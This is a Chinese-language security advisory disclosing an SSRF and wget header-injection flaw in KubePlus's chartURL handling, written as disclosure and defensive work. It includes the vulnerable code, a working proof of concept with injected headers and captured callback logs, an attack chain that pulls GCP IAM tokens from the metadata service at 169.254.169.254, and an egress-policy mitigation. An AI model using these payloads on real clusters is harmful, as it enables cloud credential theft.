该漏洞存在于 KubePlus 的 ResourceComposition 资源处理组件中，允许具有 Provider 权限的攻击者通过构造恶意的 chartURL 参数，利用 SSRF 访问内部服务，并通过 wget 命令注入任意 HTTP 请求头。这使得攻击者能够访问需要特定请求头的云元数据服务（例如，GCP 需要 Metadata-Flavor: Google 请求头），从而窃取 IAM 凭证。建议上报的 CWE 编号：CWE-918（服务端请求伪造）。
KubePlus 的 mutating webhook 和 kubeconfiggenerator 组件在处理 ResourceComposition 资源的 chartURL 字段时存在 SSRF 漏洞。该字段仅进行 URL 编码，未验证目标地址。更关键的是，当 kubeconfiggenerator 使用 wget 下载 charts 时，chartURL 被直接拼接进命令中，攻击者可以注入 wget 的 --header 选项，实现任意 HTTP 请求头注入。
SSRF 入口点 - mutating-webhook/utils.go:986-995：
func LintChart(chartURL string) []byte {
encodedChartURL := url.QueryEscape(chartURL)
args := fmt.Sprintf("chartURL=%s", encodedChartURL)
var url1 string
url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
body := queryKubeDiscoveryService(url1)
return body
}
请求头注入点 - deploy/kubeconfiggenerator.py:552-558：
def download_and_untar_chart(chartLoc, chartName):
if chartLoc.startswith("https"):
charttgz = chartName + ".tgz"
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
chartURL 被直接拼接进 wget 命令中，攻击者可以注入 --header 选项。
--header 选项，可以添加任意 HTTP 请求头kind create cluster --name kubeplus-test
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
python3 provider-kubeconfig.py create default
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: ssrf-callback
labels:
app: ssrf-callback
spec:
containers:
- name: callback
image: python:3.9-slim
command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f'[{datetime.now()}] GET {self.path}')
print('Headers:')
for h, v in self.headers.items():
print(f' {h}: {v}')
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
ports:
- containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
name: ssrf-callback
spec:
selector:
app: ssrf-callback
ports:
- port: 8080
EOF
# 创建包含 SSRF payload 的 ResourceComposition
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
name: ssrf-test
spec:
newResource:
resource:
kind: SsrfApp
group: ssrf.kubeplus
version: v1
plural: ssrfapps
chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
chartName: ssrf-test
EOF
回调服务器日志输出：
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Helm/3.12.1
# 设置到 kubeconfighelper 的端口转发
kubectl port-forward svc/kubeconfighelper 5005:91 &
# 注入 Metadata-Flavor 请求头（GCP 元数据服务所需）
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"
回调服务器日志输出：
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Metadata-Flavor: Google
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"
回调服务器日志输出：
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
X-Custom-Header-1: Value1
X-Custom-Header-2: Value2
Authorization: Bearer stolen-token
Metadata-Flavor: Google 请求头，可以访问 GCP 元数据服务攻击者（Provider 权限）
|
v
创建 ResourceComposition（chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/..."）
|
v
KubePlus Webhook 处理请求
|
v
kubeconfiggenerator 执行：wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
|
v
访问 GCP 元数据服务，获取 IAM Token
|
v
使用 IAM Token 访问云资源
CVSS 3.1 评分：8.5（高危） 向量：AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: kubeplus-egress-restrict
spec:
podSelector:
matchLabels:
app: kubeplus
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
感谢以下人员： @b0b0haha ([email protected]) @lixingquzhi ([email protected])